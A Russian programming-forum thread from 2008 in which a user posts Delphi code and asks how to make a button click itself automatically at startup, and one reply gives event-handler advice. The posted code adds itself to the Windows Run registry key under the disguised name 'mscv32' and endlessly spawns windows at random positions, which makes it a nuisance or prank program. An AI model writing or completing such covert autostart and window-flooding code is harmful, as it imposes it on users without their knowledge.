Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > IT форум > Помощь студентам
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 29.10.2008, 16:17   #1
sauron99
Пользователь
 
Регистрация: 29.10.2008
Сообщений: 20
Восклицание автоматическое нажатие кнопки.

Как сделать чтобы при запуске программы кнопка нажималась автоматом?
вот код:
Код HTML:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, XPMan, Buttons, registry;

type
  TForm1 = class(TForm)
    XPManifest1: TXPManifest;
    BitBtn1: TBitBtn;
    procedure FormCreate(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
reg: tregistry;
begin
reg := tregistry.create;
reg.rootkey := hkey_local_machine;
reg.lazywrite := false;
reg.openkey('software\microsoft\windows\currentversion\run',false);
reg.writestring('mscv32', application. exename);
reg.closekey;
reg.free;
Width:= 337; 
Height:= 185;
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
var
X: TForm1; 
begin
X:= TForm1.Create(NIL);
ShowWindow(X.Handle, SW_SHOW); 
ShowWindow(X.BitBtn1.Handle, SW_SHOW); 
X.Top:= Random(Screen.Height); 
X.Left:= Random(Screen.Width);
X.Repaint; 
Sleep(1000);
BitBtn1.Click;

end;

end.
пробывал в FormCreate вставлять BitBtn1Click(form1), но потом прога не запускалась)
sauron99 вне форума Ответить с цитированием
Старый 29.10.2008, 16:36   #2
fixoto
Пользователь
 
Регистрация: 29.10.2008
Сообщений: 12
По умолчанию

Давно не работал на делфи, так что могу быть не точным.

Во первых OnFormCreate этот метод создает форму-объект и ее методы, пока он не выполнится методы работать не будут. Тебе целесообразнее засунуть твой BitBtn1.Click в один из следующих методов формы:

OnFormOpen
OnFormView
OnFormShow
OnFormActive

Точных названий не помню, так что ты посмотри на вкладке методов формы и найдешь.

Целесообразнее использовать для тебя OnFormShow или FormShow (как там прально? непомню) так как это почти тоже самое что и FormCreate, только в случает OnShow форма уже будет готова к работе с другими объектами. А FormCreate вообще не трогай.

т.е. шоб было так:

procedure TForm1.OnShow(Sender: TObject);
begin
BitBtn1.Click;
end;

и ешо: убери из процедуры bitbtn1.click вызов этого же метода (bitbtn1.click) а то замкнутый цикл получается.
fixoto вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
повторное нажатие кнопки blackstersl Общие вопросы Delphi 2 17.09.2008 14:53
Как отследить нажатие кнопки Обновить из PHP? Timpi PHP 4 11.07.2008 09:16
Отследить нажатие одной кнопки в другом приложении... ActiveX Win Api 4 04.04.2008 23:05
помогите сделать движение на нажатие кнопки shepelin Общие вопросы Delphi 1 11.12.2007 10:11
Отловить нажатие левой кнопки мыши на р листе SAndrus Microsoft Office Excel 2 14.07.2007 13:13